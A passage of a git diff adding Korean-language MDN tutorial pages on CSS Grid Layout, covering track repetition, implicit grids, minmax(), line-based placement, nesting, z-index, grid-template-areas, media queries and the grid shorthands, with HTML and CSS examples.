많은 트랙을 포함하는 커다란 그리드는 repeat() 표기법을 사용하여 트랙의 전체 또는 일부분을 반복해서 나열해 줄 수 있습니다. 예를 들어 다음과 같이 정의된 그리드의 경우:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ +

다음과 같이 작성할 수도 있습니다:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

반복 표기법은 트랙의 목록 중 일부분에만 사용할 수도 있습니다. 아래 예제에서는 처음엔 20픽셀 크기의 트랙을 생성하고 다음에 1fr 크기의 트랙을 6번 반복해서 채운 후 마지막에 20픽셀 트랙을 붙여서 그리드를 완성합니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+
+ +

반복 표기법은 트랙의 목록도 함께 나열해서 지정할 수 있는데, 이렇게 하면 트랙의 반복 패턴을 생성해서 사용하게 됩니다. 다음 예제는 그리드가 10개의 트랙으로 구성되어 있으며, 1fr 크기의 트랙 다음에 2fr 크기 트랙이 위치하고, 이 형태가 5회 반복됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+
+ +

잠재적 그리고 명시적 그리드

+ +

지금까지는 그리드 예제를 만들 때마다 {{cssxref("grid-template-columns")}} 프로퍼티를 써서 세로 열의 트랙을 정의해 주었습니다만, 가로 행은 그리드가 콘텐츠에 맞게 알아서 새로운 행을 만들도록 했습니다. 이렇게 만들어진 행은 잠재적 그리드 안에서 생성됩니다. 명시적 그리드는 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}}로 직접 정의한 행과 열로 이루어진 그리드를 말합니다. 만약에 이렇게 정의된 그리드 밖에 무언가를 배치할 땐, 늘어난 콘텐츠 양 때문에 더 많은 그리드 트랙이 필요하고, 그리드는 잠재적 그리드에 새로운 행과 열을 만들게 됩니다. 이렇게 해서 생긴 트랙은 기본적으로 크기가 자동으로 정해지는데, 트랙 내부의 내용물에 따라 크기가 조정됩니다.

+ +

물론 잠재적 그리드에서 생성된 트랙의 크기는 {{cssxref("grid-auto-rows")}} 및 {{cssxref("grid-auto-columns")}} 프로퍼티를 써서 지정해줄 수도 있습니다.

+ +

아래 예제에서는 잠재적 그리드에서 생성된 트랙의 높이가 반드시 200픽셀이 되도록 grid-auto-rows를 사용하여 하였습니다.

+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+
+ + + +

{{ EmbedLiveSample('잠재적_그리고_명시적_그리드', '230', '420') }}

+ +

트랙 크기 조정과 minmax()

+ +

명시적 그리드를 설정하거나 자동으로 생성된 행이나 열의 크기를 정의할 때, 트랙의 최소 크기를 정해도 나중에 추가되는 콘텐츠에 맞게 늘어나도록 하고 싶을 때가 있을 겁니다. 예를 들면, 가로 행의 높이가 100픽셀 밑으로 줄어드는 것은 막고 싶지만, 콘텐츠가 300픽셀 높이까지 늘어나면 그에 따라 행의 높이도 같이 늘어나길 원할 때가 있습니다.

+ +

이런 경우를 고려해서 그리드는 {{cssxref("minmax", "minmax()")}} 함수를 제공하고 있습니다. 다음 예제에서는 {{cssxref("grid-auto-rows")}} 값에 minmax() 를 사용하였습니다. 자동으로 생성된 행의 높이는 최소 100픽셀이고 최댓값은 auto입니다. auto를 지정하면 크기는 콘텐츠의 크기를 살피게 되는데, 가로 행에 있는 가장 높은 셀의 크기만큼 자동으로 늘어나서 부족한 공간을 메꿔줍니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+
+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two
+    <p>I have some more content in.</p>
+    <p>This makes me taller than 100 pixels.</p>
+  </div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('트랙_크기_조정과_minmax()', '240', '470') }}

+ +

그리드 라인

+ +

그리드를 정의할 때 라인이 아닌 그리드 트랙을 정의한다는 점을 명심해야 합니다. 그러면 그리드는 아이템을 배치할 때 쓸 수 있게 번호가 매겨진 라인을 자동으로 제공합니다. 아래 그림처럼, 그리드가 세 개의 세로 열(Column)과 두 개의 가로 행(Row)으로 이루어져 있다면, 네 개의 Grid Line이 Column으로 자리 잡게 됩니다.

+ +

번호가 매겨진 그리드 라인을 보여주는 다이어그램.

+ +

라인은 문서의 작성 모드에 따라 번호가 매겨집니다. 왼쪽에서 오른쪽으로 쓰는 언어에서는 라인 1이 그리드의 왼쪽에 있습니다. 반대로 오른쪽에서 왼쪽으로 쓰는 언어에서는 그리드의 오른쪽에 있게 됩니다. 또한, 라인에 이름도 지정할 수 있으며, 자세한 방법은 이 시리즈의 후반부에서 살펴보겠습니다.

+ +

라인을 이용한 아이템 배치

+ +

라인에 기반을 둔 배치 방법에 대해서는 다음에 더 자세히 탐구해 볼 예정입니다. 이번 예제에서는 아주 간단한 방법을 알아보겠습니다. 아이템을 배치할 때 트랙이 아닌 라인의 관점에서 정의해 보겠습니다.

+ +

아래 예제에선 처음 두 개의 아이템을 세 개의 열 방향 트랙으로 구성된 그리드 위에 {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} 그리고 {{cssxref("grid-row-end")}} 프로퍼티를 써서 배치합니다. 왼쪽에서 오른쪽으로 작업하면서, 첫 번째 아이템은 세로 열 방향의 1번 라인에 배치되고 세로 열 방향 4번 라인까지 확장됩니다. 이 경우에는 그리드의 맨 오른쪽 라인까지 해당합니다. 그리고 가로 방향의 라인을 기준으로 1번 라인부터 시작해서 행 3번 라인까지 차지하면서 결국, 두 개의 가로 행 트랙을 가로질러 걸치게 됩니다.

+ +

두 번째 아이템은 그리드 세로 열의 1번 라인에서 시작해서 트랙 하나에 걸쳐 있습니다. 여기엔 기본값을 사용해서 마지막 라인은 지정할 필요가 없습니다. 가로 행 방향 라인을 기준으로 3번의 라인부터 5번 라인까지 두 개의 가로 행 트랙에 걸쳐 있습니다. 나머지 아이템은 그리드 빈 자라에 자동으로 배치됩니다.

+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+  <div class="box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+
+ + + +

{{ EmbedLiveSample('라인을_이용한_아이템_배치', '230', '420') }}

+ +

파이어폭스 개발자 도구에 있는 Grid Inspector를 사용하면 아이템이 그리드 라인에 어떻게 배치되어 있는지 이해하기 훨씬 쉽다는 점도 잊지 마십시오.

+ +

그리드 셀

+ +

그리드 셀은 그리드에 있는 가장 작은 구성원입니다. 개념상 테이블에 있는 셀과 비슷합니다. 앞의 예제에서 보셨듯이, 부모 요소에 그리드를 정의하면 자식 아이템은 지정된 그리드 셀에 각자 하나씩 나열되어 배치됩니다. 아래 그림에서는 그리드의 첫 번째 셀을 강조 표시했습니다.

+ +

강조 표시된 그리드의 첫 번째 셀

+ +

그리드 영역

+ +

아이템은 행 또는 열 방향 어느 쪽으로든 하나 이상의 셀에 걸쳐있을 수 있으며 이렇게 해서 그리드 영역을 만듭니다. 그리드 영역은 직사각형이어야 하며, 예를 들어 L 자 형태의 영역을 생성할 수 없습니다. 아래 강조 표시된 그리드 영역은 2개의 행과 2개의 열 트랙에 걸쳐 있습니다.

+ +

그리드 영역의 예

+ +

경계 여백

+ +

그리드 셀 사이의 경계 여백 혹은 간격은 {{cssxref("grid-column-gap")}} 및 {{cssxref("grid-row-gap")}} 프로퍼티를 지정해서 생성할 수 있으며, 짧게 {{cssxref("grid-gap")}}으로 지정할 수도 있습니다. 아래의 예제에서는 세로 열 사이의 간격은 10픽셀이고 가로 행 사이의 간격은 1em입니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+}
+
+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ + + +

{{ EmbedLiveSample('경계_여백') }}

+ +

간격이 차지하는 공간은 길이가 유연한 fr 단위로 지정한 트랙에 할당하기 전에 우선 고려되어 배분됩니다. 그래서 일반 그리드 트랙처럼 간격은 크기 조정의 목적으로 활용될 수 있으나, 이 공간에는 아무것도 배치할 수 없습니다. 라인 기반 위치 지정 측면에선 간격은 그저 굵은 선처럼 작용합니다.

+ +

중첩 그리드

+ +

그리드 아이템은 자기 자신이 그리드 컨테이너가 될 수도 있습니다. 다음 예제는 이전에 생성했던 3개의 세로 열로 구성된 그리드가 있으며, 여기에 따로 위치가 지정된 두 개의 아이템을 배치해 놓은 모습입니다. 이번 경우엔 첫 번째 아이템이 몇 개의 하위 아이템을 포함하고 있습니다. 이 아이템들은 그리드 바로 밑에 있는 요소가 아니므로 그리드 레이아웃에 관여하지 않고 정상적인 문서 흐름에 따라 표시됩니다.

+ +
+
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +

문서 흐름에 따라 표시된 중첩 그리드

+ +

만약에 box1에 display: grid를 설정하면, 여기에 트랙을 정의할 수 있게 되면서 또 하나의 그리드를 생성하게 됩니다. 이렇게 해서 그 밑의 아이템들은 새 그리드 정의에 따라 배치됩니다.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ + +
+ +

{{ EmbedLiveSample('중첩_그리드', '600', '340') }}

+ +

이 경우 중첩된 그리드는 상위 부모 요소의 그리드와 아무런 관계가 없습니다. 예제에서 볼 수 있듯이 부모 요소의 {{cssxref("grid-gap")}}을 그대로 물려받지 않았고, 중첩된 그리드의 라인은 부모 요소의 그리드 라인과도 일렬로 정렬되지 않은 것을 확인하실 수 있습니다.

+ +

서브 그리드

+ +

레벨 1 그리드 표준에는 서브 그리드(subgrid)라는 기능이 있어서 부모 요소에 있는 그리드 트랙의 정의를 중첩된 그리드에도 적용해서 생성할 수 있도록 하였습니다.

+ +
+

서브 그리드는 아직 모든 브라우저에서 구현되지 않았고 나중에 표준이 변경될 수도 있습니다.

+
+ +

최근 작성된 표준에 따르면, 위 중첩 그리드 예시에 썼던 display: grid 대신 display: subgrid를 써주고 트랙의 정의는 제거합니다. 이렇게 하면 중첩된 그리드는 부모 요소의 그리드 트랙을 그대로 참고해서 아이템을 배치하게 됩니다.

+ +

중첩된 그리드는 행과 열 모두에 걸쳐 있음을 유의해야 합니다. 서브 그리드를 작업할 때는 잠재적 그리드의 개념을 적용할 수 없습니다. 즉, 부모 요소의 그리드에 모든 하위 아이템들을 담을 만큼의 충분한 행과 열의 트랙이 있는지 꼭 확인해야 합니다.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: subgrid;
+}
+
+ +

z-index를 이용한 아이템 중첩도 조정

+ +

그리드 아이템은 서로 같은 셀을 차지할 수 있습니다. 앞서 라인 번호로 아이템의 위치를 지정했던 예제로 돌아가서, 여기에 다음과 같이 두 아이템이 서로 자리가 겹치도록 수정합니다.

+ +
+
<div class="wrapper">
+  <div class="box box1">One</div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+
+ + +
+ +

{{ EmbedLiveSample('l_ex', '230', '420') }}

+ +

box2 아이템은 이제 box1과 겹치게 되고, 소스 순서에서 나중에 위치하므로 맨 위에 표시됩니다.

+ +

중첩의 순서 조정

+ +

위치를 따로 지정한 아이템과 마찬가지로, 아이템이 위아래로 중첩되는 순서는 z-index 프로퍼티를 써서 제어할 수 있습니다. 만약에 box2box1 보다 더 낮은 z-index를 지정하면 box1 아래로 중첩되어 표시됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+
+ + + +

{{ EmbedLiveSample('중첩의_순서_조정', '230', '420') }}

+ +

다음 단계

+ +

이 글에서는 Grid 레이아웃 표준 문서에 나와 있는 내용을 아주 간단히 살펴보았습니다. 코드 예제를 좀 더 연구해 보시고, 안내서의 다음 부분으로 넘어가서 CSS 그리드 레이아웃의 세부 사항을 조금 더 심도 있게 살펴보시기 바랍니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/grid_template_areas/index.html b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html new file mode 100644 index 0000000000..10bfeb4262 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html @@ -0,0 +1,533 @@ +--- +title: Grid template areas +slug: Web/CSS/CSS_Grid_Layout/Grid_template_areas +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas +--- +

이전 가이드에서 우리는 그리드 라인에 대해서 살펴보았으며, 이 라인을 기준으로 어떻게 아이템들을 배치하는지 알아보았습니다. CSS 그리드 레이아웃으로 작업할 땐 거기엔 항상 라인이 있을 것이고, 이것은 아이템들을 그리드에 배치할 때 사용할 수 있는 아주 직관적인 방법이 될 수 있습니다. 그렇지만, 아이템을 그리드에 배치할 때 사용할 수 있는 또 다른 방법이 있는데, 이것은 독자적으로 혹은 라인 기준 배치 방법과 함께 혼용해서 사용할 수 있습니다. 이 방법은 이름이 지명된 템플릿 영역을 사용하여 아이템을 배치하는 작업과 연관돼 있으며, 이 방법이 정확히 어떻게 작동하는지 알아보겠습니다. 이것이 때때로 왜 그리드 레이아웃의 ascii-art 방식이라고 일컬어지는지 쉽게 눈치채실 수 있을 겁니다!

+ +

그리드 영역의 이름 짓기

+ +

여러분은 이미 {{cssxref("grid-area")}} 프로퍼티와 마주친 적이 있을 겁니다. 이 프로퍼티는 그리드 영역의 위치를 잡는데 사용되는 모두 네 개의 라인 값을 취합니다.

+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+
+ +

이렇게 모두 네 개의 라인을 정의하는 작업은, 영역을 둘러싸는 라인을 지정해서 해당 영역이 차지하게 될 자리를 정의해 주는 것이라 할 수 있습니다.

+ +

라인으로 정의된 그리드 영역

+ +

이와 더불어서, 각 영역에 이름을 붙여서 정의할 수도 있으며, 각 영역의 위치는 {{cssxref("grid-template-areas")}} 프로퍼티의 값을 지정해서 정의할 수 있습니다. 영역의 이름은 원하시는 것 아무거나 선택해서 사용하실 수 있습니다. 예를 들어, 아래에 보이는 레이아웃을 만들고자 할 때, 다음과 같이 네 개의 주요 영역으로 구분할 수 있습니다.

+ +
    +
  • a header
  • +
  • a footer
  • +
  • a sidebar
  • +
  • the main content
  • +
+ +

단순하게 헤더와 푸터가 있는 두 개의 열로 구성된 레이아웃을 보여주는 그림

+ +

여기서 각 영역의 이름은 {{cssxref("grid-area")}} 프로퍼티로 지정할 수 있습니다. 이것은 아직 아무런 레이아웃도 생성하지 않지만, 이렇게 해서 레이아웃에 사용될 영역의 이름을 갖게 됩니다.

+ +
+
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ +

이제 영역의 이름들을 정의하였으니 다음엔 원하는 레이아웃을 생성할 차례입니다. 이번엔, 아이템에 직접 지정된 라인 번호를 써서 아이템을 배치하는 대신에, 전체 레이아웃을 그리드 컨테이너에서 정의해 줍니다.

+ +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+ + + +

 

+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}

+
+ +

이 방법을 쓰면 각각의 그리드 아이템들에 아무것도 지정해 줄 필요가 없으며, 그리드 컨테이너에서 모든 작업이 이루어집니다. 보셨다시피, 레이아웃은 {{cssxref("grid-template-areas")}} 프로퍼티의 값으로 기술됩니다.

+ +

그리드 셀 비워두기

+ +

먼젓번 예제에서는, 그리드의 모든 곳이 빈 곳 없이 영역들로 채워져 있습니다. 하지만, 다음에 소개될 레이아웃 방법을 써서 특정 그리드 셀이 공간으로 채워지도록 만들 수도 있습니다. 셀을 공간으로 남겨두려면 마침표 글자(.)를 사용하시면 됩니다. 예제 중 footer 부분을 main으로 표시된 콘텐츠 바로 아래에만 표시되도록 하려면, sidebar 밑에 있는 세 개의 셀을 비워두면 됩니다.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+
+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('그리드_셀_비워두기', '300', '330') }}

+ +

위 예제에서 레이아웃 정의 부분을 더 깔끔하게 보이도록 하려면 여러 개의 . 글자를 사용할 수도 있습니다. 여기서 마침표 사이가 하얀 공간으로 서로 띄워져 있지 않은 한 오직 하나의 셀로 계산됩니다. 아주 복잡한 레이아웃의 경우, 행과 열이 깔끔하게 정렬돼 있다면 훨씬 이해하기 쉬운 장점이 있을 겁니다. 이렇게 하면, CSS를 작업하면서 실제 레이아웃이 어떤 모습으로 보일지 쉽게 눈으로 확인하실 수도 있다는 뜻입니다.

+ +

다중 셀에 걸쳐 확장하기

+ +

앞선 예제에선 영역들이 다중 셀에 걸쳐서 확장되었는데, 이것은 그리드 영역의 이름을 빈 여백을 사이에 두고 여러 번 반복해서 이루었습니다. 여기서 grid-template-areas 값으로 지정한 부분은 깔끔하게 위아래로 줄이 맞아 떨어지도록 여분의 공백을 추가할 수도 있습니다. 위 예제에선, main 부분과 정렬되도록 hdft 영역 이름에 공백이 추가된 것을 확인하실 수 있습니다.

+ +

영역 이름을 연달아 늘어놓아서 만들어진 영역은 직사각형이어야 하며, 이 시점에서 L 모양의 영역을 만들 수는 없습니다. 표준 명세서에선 아마도 다음번 레벨에서 이 기능이 추가될 수도 있음을 명시하고 있습니다. 그렇지만, 영역을 열 방향과 마찬가지로 행 방향으로도 쉽게 확장할 수 있습니다. 예를 들어, 사이드바 영역에 있는 비어있는 셀을 뜻하는 . 대신에 그 자리를 sd로 대치해서 footer 밑부분까지 확장하도록 정의해 줄 수 있습니다.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+
+ + + +

{{ EmbedLiveSample('다중_셀에_걸쳐_확장하기', '300', '330') }}

+ +

{{cssxref("grid-template-areas")}} 값은 그리드 전체를 나타내야 하며, 그렇지 않으면 틀린 것으로 간주하여 결국 프로퍼티는 무시됩니다. 이 얘기는 각 줄의 셀 숫자가 모두 같아야 한다는 뜻이며, 비어있는 경우는 마침표 문자를 써서 셀이 비어있음을 표시해 주어야 합니다. 또한, 영역이 직사각형이 아니라면 유효하지 않은 그리드를 생성하게 됩니다.

+ +

미디어 큐어리(media queries)를 이용한 그리드 재정의

+ +

이제는 레이아웃이 CSS의 한 부분으로 들어오면서, 서로 다른 브레이크포인트에 대응해서 변하게 만드는 것이 훨씬 쉬워졌습니다. 이 작업은 그리드를 재정의하거나, 그리드에 있는 아이템의 위치를 바꿔줄 수도 있으며, 혹은 한꺼번에 두 가지 모두를 진행할 수도 있습니다.

+ +

이 작업을 할 때 주의할 점은, 미디어 큐어리 밖에서 영역의 이름을 정의해야 한다는 것입니다. 이렇게 해야 가령 콘텐츠 영역의 경우, 그리드 위 어느 곳에 배치되든 상관없이 항상 해당 영역을 main으로 지칭할 수 있게 됩니다.

+ +

위 예제에 있는 레이아웃을 가지고, 만약 너비가 좁을 때는 아주 단순한 레이아웃을 형성하도록 단일 열 형태의 그리드를 정의해서 아이템들이 서로 중첩되도록 하였습니다.

+ + + +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+.wrapper {
+    display: grid;
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-columns: 1fr;
+    grid-template-areas:
+      "hd"
+      "main"
+      "sd"
+      "ft";
+}
+
+ +

그러고 나서, 미디어 큐어리 안에서 남아있는 공간이 넓다면 두 개의 열로 된 레이아웃을 구성하도록 다시 정의해 주었으며, 공간이 더 넓으면 세 개의 열로 된 형태의 레이아웃 띠도록 하였습니다. 넓은 형태의 레이아웃의 경우, 아홉 개의 열 트랙 그리드는 그대로 놔두었으며, grid-template-areas를 써서 아이템들이 어디에 배치될지를 다시 정의해 준 점을 주목해 주십시오.

+ +
@media (min-width: 500px) {
+    .wrapper {
+        grid-template-columns: repeat(9, 1fr);
+        grid-template-areas:
+          "hd hd hd hd   hd   hd   hd   hd   hd"
+          "sd sd sd main main main main main main"
+          "sd sd sd  ft  ft   ft   ft   ft   ft";
+    }
+}
+@media (min-width: 700px) {
+    .wrapper {
+        grid-template-areas:
+          "hd hd hd   hd   hd   hd   hd   hd hd"
+          "sd sd main main main main main ft ft";
+    }
+}
+
+ + + +

{{ EmbedLiveSample('미디어_큐어리(media_queries)를_이용한_그리드_재정의', '550', '330') }}

+ +

UI 요소를 위한 grid-tempate-areas 사용

+ +

온라인에서 찾을 수 있는 많은 그리드 예제들을 보면 주로 주요 페이지 레이아웃에만 그리드를 사용한다고 느끼실 수 있습니다만, 그리드는 큰 요소만큼이나 작은 요소에서도 유용하게 사용될 수 있습니다. 특히나 {{cssxref("grid-template-areas")}}를 쓰면 요소가 어떻게 보일지 코드를 보면 쉽게 이해할 수 있어서 아주 유용합니다.

+ +

아주 간단한 예로 “미디어 오브젝트”를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.

+ +

미디어 오브젝트 디자인의 한 예를 보여주는 그림

+ +

여기서 그리드는 두 개의 열 트랙으로 구성되어 있으며, 그림이 들어가는 공간의 열 트랙의 크기는 1fr이며 글자 내용이 들어가는 공간의 크기는 3fr입니다. 만약에 고정된 너비의 그림 영역을 원하시면, 그림이 들어가는 열의 너비는 픽셀값으로 설정하고, 글자 영역에는 1fr을 지정하실 수 있습니다. 그러면 1fr 크기의 단일 열 트랙이 남은 공간을 모두 차지하게 됩니다.

+ +

그림이 위치하는 영역의 그리드 이름으로 img를 지정하고 글자 영역은 content라 부르기로 하고, grid-template-areas 프로퍼티를 써서 다음과 같이 배치하게 됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
+ +

{{ EmbedLiveSample('Media_1', '300', '200') }}

+
+ +

박스의 반대편에 그림 표시하기

+ +

반대로 그림이 박스의 맞은편에 표시되기를 원하실 때도 있을 겁니다. 이렇게 하려면, 1fr 크기의 트랙을 마지막에 위치하도록 하고, 단순하게 {{cssxref("grid-template-areas")}}의 값을 뒤집어서 그리드를 다시 정의해주면 됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media.flipped {
+    grid-template-columns: 3fr 1fr;
+    grid-template-areas: "content img";
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media flipped">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
+ +

{{ EmbedLiveSample('Media_2', '300', '200') }}

+
+ +

그리드 정의 단축용법

+ +

지금까지 그리드 위에 아이템을 배치하는 여러 가지 방법과 또 그리드를 정의하는 다양한 프로퍼티들을 살펴보았습니다. 이번에는 그리드를 정의하는 데 사용할 수 있는 몇 가지 단축용법을 살펴보고 또 이 모든 것을 CSS 한 줄로 정의하는 법을 알아볼 차례입니다.

+ +

이것은 분명 다른 개발자나 심지어 미래의 나 자신도 금방 이해하기 어려울 수도 있습니다. 하지만, 표준 명세서에 기술된 용법 중 하나로서, 개별적으로 사용하진 않더라도, 공개된 예제나 다른 개발자가 사용하는 것을 목격할 수 있을 겁니다.

+ +

단축용법을 쓰기 전에 꼭 명심해야 할 것은 단축용법은 단번에 많은 프로퍼티의 설정이 가능할 뿐만 아니라, 정의하지 않은, 혹은 정의할 수 없는 것들도 그들의 초깃값으로 재설정되도록 작용한다는 점입니다. 그러므로 단축용법을 사용할 땐 다른 곳에서 적용했던 것들이 재설정될 수도 있다는 점을 주의하십시오.

+ +

그리드 컨테이너에서 사용할 수 있는 단축용법에는 두 가지가 있는데, 하나는 명시적 그리드 단축용법으로 grid-template이 있고, 나머지는 그리드 정의 단축용법으로 grid가 있습니다.

+ +

grid-template

+ +

{{cssxref("grid-template")}} 프로퍼티는 다음과 같은 프로퍼티들을 설정합니다:

+ +
    +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
+ +

이 프로퍼티는, 잠재적으로 생성되는 열과 행 트랙에 영향을 끼치는 것이 아닌, 명시적 그리드를 정의할 때 조정할 수 있는 것들을 설정하는 것이어서 명시적 그리드 단축용법이라 불립니다.

+ +

다음에 있는 코드는 {{cssxref("grid-template")}}를 써서 이 가이드 앞부분에서 만들었던 레이아웃과 똑같은 레이아웃을 만들었습니다.

+ +
.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

첫 번째 값은 grid-template-areas 값에 해당합니다. 하지만 각 행의 마지막에 해당 행의 크기도 함께 선언해 주었습니다. 여기에 있는 minmax(100px, auto)가 이 역할을 합니다.

+ +

그리고 grid-template-areas 뒤에 옆으로 누운 슬래시(/)가 있고, 바로 그 뒤에 세로 행 트랙들을 위한 명시적 트랙 목록이 정의되어 있습니다.

+ +

grid

+ +

{{cssxref("grid")}} 단축용법은 한 발 더 나가 잠재적 그리드를 정의하는 데 사용되는 프로퍼티들도 같이 설정합니다. 그래서 여기서 설정하는 프로퍼티들은 다음과 같습니다:

+ +
    +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
  • {{cssxref("grid-auto-rows")}}
  • +
  • {{cssxref("grid-auto-columns")}}
  • +
  • {{cssxref("grid-auto-flow")}}
  • +
